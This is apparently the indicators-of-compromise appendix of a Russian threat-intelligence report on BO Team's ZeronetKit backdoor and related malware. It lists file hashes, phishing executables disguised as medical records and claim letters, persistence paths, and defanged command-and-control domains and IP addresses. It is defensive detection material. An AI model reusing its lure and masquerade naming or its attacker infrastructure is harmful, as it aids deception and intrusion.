0fb1d4651b6ff0aace4fdd62096de739 Результаты медицинского обследования .exe
159a0ab9696510263e1d29ff00a6484f АКТ проверки ТС .exe
24cc0ffaa721b581cce6bc5b606a39f3 Выписной эпикриз_[REDACTED] С.В. .exe
313b2a6eb9e4122967075199c14949a2 Scan_САО [REDACTED]_Претензионное письмо_278 .exe
31521853376d57dcf2048ac8bb1a4ec7 АО [REDACTED]_Претензионное письмо_292 .exe
36240b3a7e8eb1880fa07fce7d167556
36e08201eac9f4a5d4cb01ab5a4a8a79
388b90dba9c5ede5214a8b28bf8344ad Форма письменных пояснений .exe
3b1d634571f912f4736463470b7a2988 Медицинское направление_[REDACTED] С.В. .exe
3dc5f4437412dd8bcc25d618af54323a
40f93333bda1e6336c5384383a665de1
449574fca7d65c63e1feaac6d95e4fa1
513de1b37fe20e4e390b6f15c758f6fb Scan_АО [REDACTED]_Претензионное письмо_288 .exe
529b956ac4e0775c307471034ad68f1c
6b57ae74cd93c26847d487c7061fa895
6ca846d0fc8f31c5a324a34dd13ef728
6cffddb440c1fd3d5329def1cb24708f Результаты медицинского обследования .exe
8078fe915a899b92bbacacd19a326217
80f8742072695fb1c6ff7238febd9785 ООО [REDACTED]_Запрос_179_19.02.2026 .exe
876ef7fbbd94f486d60d0fe172fef3a3
88ad907c581a620d2114e35582b6223b Карточка предприятия_ООО [REDACTED] .exe
9086ef2da429381cf83248adc1408e83 АКТ проверки ТС .exe
94618c7b7180d906f53c22a85c7a88eb
960195e93993b0f438b304f1c2e7aca5
9866e8bc039eb72aa9f984f6a0e78027
a9d96669acaf2943cfbbd70ae6e30681 Форма письменных пояснений .exe
acb25a6dee9489f3efe32c7cfddb927b Scan_АО [REDACTED]_268_18.1.2025 .exe
b2dc18fdb186b917a741872b088d9ed7 АКТ проверки ТС .exe
b4ebdc34cb9ec6e5ea60f9d6ed03b3d0
b9e5faed908e27f0190fa987f909b1d7
bbd7495bc4018240a428f216181f3204
e055737fba4164b14ed18bfa69263877
ed9fd09eb3254553305623517e672efc
faa7ebc3be3237d6012d6390a00afb17 Результаты медицинского обследования .exe
ZeronetKit
12772caa05f2c28ebe8c99abb35ac39c msfch5.exe
168a68b95574381ace9592c2a422315f MSEdgeUpdater.exe
18623133ec76987a1783b4bb89e4faa9 vmtoolsdesktop.exe
1fb7d5554fb19fc4e951b6a241d3656d znkit-windows-x86_64-console.exe
1fe61a3c9d64469edfbee0fa70ede1c0 msfch.zip
373b22dca89f57c138c83cb99a6c6120 wgl.exe
3fde2928159c5c5ab54e51e91f4553b1 xpsrchv.exe
43e75f6346554ab5f5277214214a7614 minnet-windows-x86_64-console.exe
4793753ef5800f2adc088e359d61b793
509fdaff266c1d17320ebb5908ad0c41 chrome-update.exe
5a27b7e583b71f1454110101cb174dda salabaka.exe
5ac1fec6ac88fad7779e914b2b48fad3 fontdrv.exe
5bfcb7f54e2804a86630823e7a567396 msfch.exe
5c8887f6bbfd92134523e8e49c701112
6c3deaa478e0e19c8757e1ba5ba1dd5a znkit-windows10-x86_64-noconsole.exe
6fe8943f364f6308c2e46910bffefeaf fontdrv.exe
713caeebef14c541f5baa048ae212558 yandex.exe
71612ebcc591b2475d3488e5580db56a diagsrv.exe
732fe189bedda7cf4bb944e954b49685 msfch3.exe
74116c90ada11d761e80df9e1c9ab6ac
7430e63b949c45f99381116ad85127e3 msfch15.exe
7463826c1fda4e966153eeeac9c70405 sabaka.dll
7d4b259b97398782ac7393cfb1fb1ee2 xpsrchv.exe
7dd08b7116a9007a776483ec9234e11d kavupdate.exe
8351fa0448a85ffe8bcd1fbef20ed801 wsus3.exe
9b7695bfbff339d78a58eb528e13c784 msedgeupdate.exe
9f136dfe7c89d7581341055d49832835
9f1eca64a49c2accf8770e9fd932402a wups.exe
a4cafaf5cb77fc48420b15afa7d28383 console.exe
b376f935c763a21a62f5c7db1b6c953d diagsrv.exe
b6ef75b53ae9bb81e1f20db88006d98b
bc71deee35ecaeedfdcc29b5dd6e65c7 hostmedia.exe
bcd99c4a04c4ac8cd1b1cd8ff94ff7a9 msedgeupdate.exe
c14469cd1f24c5438d99c04b8ff532cb znkit-windows-x86_64.dll
c8ecf48b0e685cd5308e4060f5872872 etranplus.exe
c99e34cac21fefe10eaf3303ff447131 wpx.exe
ceed053bdab80f7ff6dd9925bf8fc1de msfch.exe
d2f438f9c33cccabc5c95f3b1cf5d4de znkit-windows-x86_64-noconsole.exe
daaa3bb2cd12b8dd47d9d4f22ab42233
dbd76ffb6762bd40ecd6cc0637aec0ba
e500b01182c00f05a448842270723e23 msedgeupdate.exe
ec837ea313d761979c19185e73023cec diagsrv.exe
f41720e6a2d56216b8dbc782be97b5a1 UI-config.exe
ZeronetKit with DNS Tunnelling
3002a09de8e0e60ff6bdd3fdbb681662 yy6.exe
ZeronetKit for Linux
228c37e006de63d66ebd85db92374039 systemd-networkd-helper
8c4ab10b69007a1535ec114c7f6f7263 avahi
f44363f27dc5b6317c4c4302f04d3551
ZeroSSH
06220c16680975edc66a3590bdb14e93
9744d12f8a9ac14f234482becb7f4d28 avpdiagnostic.exe
9b4e1f2e20ba802b70033c7cb97f028a avpdiagnostics.exe
de1bc206ba0b36b1db1e28608103dec7 avpupdate.exe
.NET Downloader
6c2774b53da642b8c4ae841fea2f312c msedgediagnostic.exe
e7e2e5311bd9222543256f9dd5361593 diagsvc.exe
PhantomCore
d24329dd3ad1876ffec84fd169245343 usocacheddata.txt
Пути
%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\update.exe
%AppData%\Microsoft\Windows\Start Menu\Programs\StartUp\updater.exe
%AppData%\Diagnostic\MsEdgeDiagnostic.exe
%LocalAppData%\Diagnostic\avpdiagnostic.exe
%LocalAppData%\Diagnostic\avpupdate.exe
%LocalAppData%\Diagnostic\MsEdgeDiagnostic.exe
%LocalAppData%\Diagnostic\tools\diagsvc.exe
%LocalAppData%\Diagnostics\avpdiagnostics.exe
%LocalAppData%\Sbis3Plugin\Sbis3Plugin\UI-config.exe
%ProgramData%\BitrixUpd.exe
%ProgramData%\etranplus.exe
%ProgramData%\msedgeupdate.exe
%ProgramData%\program.exe
%ProgramData%\TemplateMaintenanceHost.exe
%ProgramData%\tightvnc\tightvnc.exe
%ProgramData%\update.exe
%ProgramData%\updater.exe
%ProgramData%\vmware\vmware tools\vmtoolsdesktop.exe
%ProgramData%\wgl.exe
%ProgramFiles%\update services\selfupdate\wsus3\x64\win7sp1\wsus3.exe
%UserProfile%\AppData\MSEdgeUpdater.exe
%UserProfile%\AppData\Roaming\consultantplus\Krugol.exe
%UserProfile%\AppData\Roaming\consultantplus\wsus3.exe
%UserProfile%\AppData\Roaming\google chrome\chrome-update.exe
%UserProfile%\AppData\Roaming\microsoft\msedgeupdate.exe
%windir%\system32\diagsrv.exe
%windir%\system32\fontdrv.exe
%windir%\system32\hostmedia.exe
%windir%\system32\kavupdate.exe
%windir%\system32\wgl.exe
%windir%\system32\wpx.exe
%windir%\system32\wups.exe
%windir%\system32\xpsrchv.exe
%ProgramData%\USOShared\USOCachedData.txt
$system/systemd/system/astra.service
Сетевая инфраструктура
bacta[.]online ZeroSSH
sorisu[.]net ZeroSSH
wobla[.]site .NET Downloader
bobas[.]fun ZeronetKit
czlm[.]site ZeronetKit
easybussy[.]space ZeronetKit
hatchvpn[.]online ZeronetKit
icecoldwind[.]online ZeronetKit
lizzardsnails[.]online ZeronetKit
railradman[.]site ZeronetKit
rrcrft[.]xyz ZeronetKit
scnmon[.]store ZeronetKit
tributarieshand[.]online ZeronetKit
yandecx[.]site ZeronetKit
1cbit-dev[.]com PhantomCore
cheap-zone[.]online PhantomCore
lsasso[.]online BrockenDoor
orichalla[.]store BrockenDoor
turmailn[.]online BrockenDoor
hexil[.]fun BrockenDoor
rostransnadzor[.]online BrockenDoor
150.241.70[.]86 ZeronetKit
213.165.60[.]65 BrockenDoor
87.251.66[.]206 BrockenDoor













Что скрывает BO Team: бэкдор ZeronetKit изнутри и связь с Head Mare